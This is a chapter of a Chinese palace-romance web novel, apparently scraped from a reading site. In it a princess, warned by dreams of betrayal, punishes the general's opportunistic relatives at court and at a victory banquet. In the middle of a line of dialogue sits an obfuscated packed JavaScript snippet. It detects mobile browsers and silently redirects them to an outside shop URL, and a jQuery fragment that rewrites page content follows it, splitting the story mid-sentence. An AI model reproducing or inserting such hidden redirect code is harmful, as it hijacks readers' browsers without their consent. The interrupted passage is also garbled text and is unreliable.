默认冷灰
24号文字
方正启体

1. 归京·意碎情冷

作者:盐焗米粥本书字数:K更新时间:
    永安二十七年。


    镇国将军萧冽北境大捷,班师回朝,消息如同狂风席卷了京城。


    丝竹礼乐之声由远及近,阵阵大军凯旋的号角、年轻将士们敲响的鼓声不住地传入昭阳殿。


    阿鸾便面色凝重地走到内室。


    “公主,表舅母又来了。”


    阿鸾年岁尚小,是个掩饰不住情绪的,语气怏怏的,像是把什么瘟神通传来了。


    还赶不上瘟神呢,这个表舅母郭氏,是柳家的人,仗着自己跟将军府有些许亲缘关系,日日往他们昭阳殿跑。


    不是将军府的后院要修缮了,就是前厅打点的银子不够了,冬日少炭,夏季缺冰。一口一个“初禾”的叫着,说公主和将军真是天造地设的一对,可得让将军府在京中长长脸。


    殊不知那油水尽让她捞了去,白花花的银两也全进了柳府里去,明眼人谁看不出来,可公主哪次不是乐呵呵地听她的话。


    阿鸾追在公主身后,连连劝阻,“公主,这个御赐的东海鲛珠不能给啊!”


    “你懂什么,替将军打点好府中上下,等他回来定会欢喜。”


    阿鸾想到公主曾说的话,顿时像泄了气的皮球,那批进贡之物,就剩下了一个玛瑙,怕是也保不住了,她忍不住叹气。


    阿鸾见赵初禾迟迟没有动作,不由得生疑。


    先前哪次郭氏前来公主不是起身相迎,然而今日,赵初禾脊背挺然,铜镜映出她的皎皎容颜,神色非但不热切,反而扯出一抹冷笑。


    “她算哪门子的表舅母?日后莫要这般叫了,本宫何时有过如此不入流的亲眷?”


    赵初禾坐在妆奁前,手上玉梳游走在青丝之间,“宣她进来。”


    阿鸾见自家公主一反常态,似乎明白了些什么,语气里是抑制不住的兴奋,“公主,阿鸾这就去!”


    不多时,一个身穿绸缎,满头珠翠金饰的女人被引了进来。她满脸堆笑,好似与公主极为亲近一般。


    “初禾,你可算见我了!门外那几个侍卫看着眼生,竟把我拦在了外头,一点规矩都不懂!”


    说这话时,她目光扫过不远处的桌案,端起茶盏,轻轻撇去浮沫,茶色清碧,乃今年进贡的顾渚紫笋,茶香满溢。


    只是茶盏还没碰到嘴唇,就被阿鸾一把扯住了手腕,玉盏掉落,“哐当”一声,四分五裂,清茶泼湿了她的裙摆。


    “你看这丫头,怎么毛手毛脚的,可惜了这顶好的茶。”她假意嗔怪,全然不顾内室氛围陡然压抑了大半,甚至还向妆奁的方向挪步。


    赵初禾从铜镜瞥到了她的动作,不紧不慢地插上了一支金玉步摇,抬眸冷睨,“此言差矣,侍卫奉本宫之命行事,柳夫人,是在说本宫不懂规矩?”


    郭氏听不出她言语间的愠怒,笑得更为谄媚,“初禾,你这不是说笑了吗,将军不日便要回京。我今日来,是想跟你细细商讨,怎么给将军接风洗尘才体面,也好让京里人都瞧瞧,咱们将军府的少夫人是何等气派!”


    赵初禾指尖轻叩着桌面,轻笑了一声,缓缓说道,“是柳夫人说笑了,本宫何时成了将军府的少夫人?要知道,蓄意编排公主,直呼公主名讳,乃大不敬之罪。”


    她取过屉内的口脂,唇间染上了珊瑚色,艳色冷凝,“纵使是看在将军的几分薄面,本宫也不能将此事轻轻揭过,你说……是也不是?”


    赵初禾嘴角勾起了一丝弧度,而后面色迅速冷了下来,“拉出去,杖责五十。”门口的侍卫得令,一边一个将她架了出去。


    郭氏起初还含笑推搡几下,“是这干什么,一家人莫要伤了和气。”


    侍卫非但没松手,反而加重了气力,郭氏恼羞成怒,“你敢这样对我!你怕是不在乎将军府了!”


    她声音颤抖着,叫骂着,颇有几分街间泼皮无赖的模样。


    郭氏何曾见过这样的阵仗,整个人的魂儿此刻还是飘散着的,像是不信赵初禾会这般待她。


    可一左一右的两个侍卫半分也掺不了假,就在她被拖出内室之际,她终于有了实感——元昭公主没来虚的,她真要打她的板子。


    “殿下恕罪!妾一时失言,绝非有意直呼公主名讳!”她的声音越来越远,那滑稽的模样让阿鸾忍不住发笑。


    “笑什么,你瞧,她这不是懂礼数吗,打了板子,果然会叫殿下了。”她的声音淡淡的,听不出什么情绪。


    赵初禾缓缓起身,阿鸾见状到跟前伺候着,“阿鸾就是觉着痛快,从前她在公主这得了多少好处,瞧她穿金戴银的样子,哪一个不是承了公主的恩,还敢在公主面前如此放肆!”


    赵初禾闻言轻叹口气,“原来……原来你也是能看出来的……”


    “何止是阿鸾!宫内宫外谁看不出来啊!公主待她那般宽厚,她可倒好,得寸进尺,差点就爬到公主头上……”


    阿鸾话说到一半,见赵初禾眸光微黯,连忙躬身行礼,“公主,阿鸾失言了……”


    “无妨,你说的对,那只是从前。这世间万没有白拿人好处的道理,本宫要让她付出代价。”


    她移步至门外,远远望着宫墙,那是萧冽即将归来的方向。是啊,她日夜盼望的少年将军回来了,可她的心,早已在一场场血色噩梦中,冷透了。


    三月前,赵初禾深陷血色梦魇,梦中她被萧冽弃于冷院,最后换得身处血泊,毒发而亡的结局。


    梦中的寒意侵入四肢百骸,毒药入喉的灼烧也如同亲历。


    一开始,她自然是不信的,直到她看到萧冽领兵进入了那一方天地,狭小的院子堆满了人,他竟欲谋反!


    由不得她不信,她没命赌,也不能拿着父皇的江山去赌。


    什么年少欢喜,什么佳偶天成,她要活命,她不再爱他了。


    如今,梦醒了,她也彻底醒了。


    视线回到雕花窗棂,殿外传来小太监的通传声,尖细的嗓音穿过门扉,“殿下,陛下遣人送来赏赐,说是镇国将军萧冽北境大捷,陛下龙颜大悦,特赐殿下珍宝无数,邀殿下一同为萧将军接风洗尘。”


    “知道了,呈上来吧。”


    宫人捧着珍宝一一入内,尽数呈到公主面前。


    赵初禾漫不经心地扫过,目光最终落于一柄雕琢精美的白玉佩上,玉佩上刻着一个遒劲的“萧”字,原是萧冽的随身之物,竟被父皇一并赐了过来。


    赵初禾拿起那枚玉佩,指尖冰凉,触感温润,却如同握着一块烧红的烙铁,烫得她心底发疼。


    半晌,她缓缓放下玉佩,声音嘶哑,“阿鸾,替我更衣。”


    “是,公主。”


    ———


    紫渊宫阙灯火如昼,金銮偏殿铺陈十里锦绣。殿内酒香与喜悦交织,欢声与礼乐相融,钟鼓齐鸣,余音不绝,琉璃盏碰撞其间,漾出满溢的酒液,珍馐置于矮桌前,庆北境之捷。


    满殿皆是京中权贵,文官武臣携家眷一同赴宴,诰命夫人相坐其间,低声私语,目光皆不约而同地凝到一个方向———赵初禾身穿织金蹙凤赤红裳端坐席间,周身散发着生人勿近的气焰,华贵非常。


    是也,无论元昭公主何等骄纵,为萧冽做出怎样荒唐之事,都不是他们能够轻易置喙的。她是世间最尊贵的女子,是当今圣上最宠爱的皇女。


    赵初禾无视周遭的目光,对四下喧闹之声置若罔闻,只是指尖轻捻茶盏,神情自若。


    忽而一阵骚动,尤是殿门口那处最甚,郭氏之女柳青青身穿艳色襦裙,不顾宫规,竟直冲冲地朝她这处来了。


    柳青青因着将军府的关系,没少在京中仗势欺人,也练就了嚣张跋扈的性子,“元昭公主好大的威风!不过是母亲一时失言,便杖责五十,如今母亲只好在家休养,连庆功宴都来不得,公主就半点不念及将军府的情分吗?”


    她语气骄横,字字句句皆是质问,那模样,仿佛她才是这紫渊宫里的金枝玉叶,而赵初禾只是个仗势欺人的外人。


    见赵初禾垂眸不语,柳青青见状更是得寸进尺,上前一步,弯下腰,凑到赵初禾耳畔,声音压低,带着满满的挑衅与得意:“我告诉你,一会儿萧将军就到了,我倒要看看,你这般对待将军


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393274|200341||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    府的人,今日要如何收场!”


    顷刻间,偏殿里静谧得吓人,不少官员闻声看过来,诰命夫人无一人敢上前劝说,十几个人就这样你看我,我看你,敛声屏气,生怕引火上身。


    就在此时,殿外传来侍卫高声唱喏:“镇国将军到——”


    萧冽一身银甲,墨发高束,眉宇间尽是北疆风沙洗练出的硬朗,阔步走向殿内。


    他目光一扫,便落在了公主席前的混乱场面,眸色瞬间沉了下来。


    柳青青的目光紧紧跟着银白的身影,待他走到席间,不由分说便换上了哭腔,“将军,你可要替我母亲做主啊……”


    赵初禾终于有了动作,她放下了手中的玉盏,缓缓起身,眼中黑眸没有风浪,十分平静,在离萧冽不远不近的地方立住。


    “做主?那便也请萧将军替本宫做主,本宫倒想问问,擅闯昭阳殿,直呼公主名讳,藐视皇家威仪,该当何罪?”


    萧冽拱手躬身,面色沉凝,难掩错愕——他素未见过此等无礼之人,且离京近十载,竟不知将军府有这等挂名的亲戚。


    可赵初禾因心悦于他,就连这样的亲戚也是倾尽所有,悉数奉上,这才让他们柳家在京中立住了脚。


    不过,那也是从前了,柳青青还真以为如今的她会吃这一套,对他们柳家百般纵容。


    赵初禾看着萧冽那副愕然的模样,心中毫无波澜,手却忍不住攥成了拳头,真想当众撕下他的假面。


    “公主恕罪,臣定当严加管教。”


    柳青青见事态发展的与预期大相径庭,却还不死心的瞪着双眼,她道:“公主这样,怕是不想进将军府了……”


    “大胆!”萧冽低沉的声音骤然响起,吓得柳青青肩膀一耸,接连后退。


    赵初禾身姿挺拔,一步一步地向柳青青的方向走去,“本宫念及将军班师回朝,不愿沾血,故而轻罚五十,已是法外开恩。你倒好,竟敢在庆功宴上撒野,是觉得皇家律法管不到你,还是觉得将军府能替你担下此等以下犯上的死罪?”


    柳青青被逼得连连后退,浑身瘫软,直到身后撞到硬冷的木柱,这下,赵初禾凑到她耳边,语气极淡地说道:“你柳家的东西皆是本宫给的,如今本宫全要拿回来。”


    听到这话,柳青青更是扑通一声就跪了下去,面色煞白,嘴唇哆哆嗦嗦地说不出话,“如何……如何便牵扯到死罪了……什么你给的……”


    她的声音似蚊虫一般微弱,却清晰地传入了赵初禾的耳中,“死罪可免,活罪难逃,听闻你母亲思乡心切,便回你们的故里去吧。”


    本来跪坐在地的女子身子一下子僵硬了,倔强地抬头看向赵初禾,“故里?滁州如此苦寒之地,你怎么能……”


    赵初禾闻言眉峰轻挑,语气染上了几分玩味,“呵,本宫为何不可?还敢顶嘴!柳青青目无尊卑,来人啊,掌嘴!”


    “是!”侍卫即刻上前,按住柳青青,清脆的巴掌声在殿内响起,阵阵刺耳,让人心惊。


    柳青青的哭喊声越来越大,脸也很快肿了起来,泪水横流,好不狼狈。


    赵初禾面上很快浮现出了一丝假意的怜惜,丝绢掩面,“怎的如此不知分寸,快把她带下去,莫要冲撞了父皇。”


    赵初禾瞥了一眼身旁蹙着眉头的萧冽,没有给他留下一句话,转身坐回席位,面色如常,仿佛什么都没有发生过一般。


    唯有广袖之下泛白的指尖,昭示了她的内心,大抵不像面上那般平静。


    满席众人噤若寒蝉,无人知晓从前处处礼让柳家的公主,今日怎的如此,竟连将军的颜面也不顾及。


    难道是……不再爱慕于将军了?席间众人皆知道不该妄度公主的心思,可实在由不得他们想入非非。


    萧冽愣在原地,目光看着赵初禾的背影,那眼底翻涌的情绪不明,有诧异、有心疼——他记忆中那个眉眼弯弯,会笑着追着他玩闹的小女孩,如今变成了他不曾认识的模样。


    他不在京中的日子,她都经历了什么?令她冷得像冰,看向他的目光里,没有半分温度。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)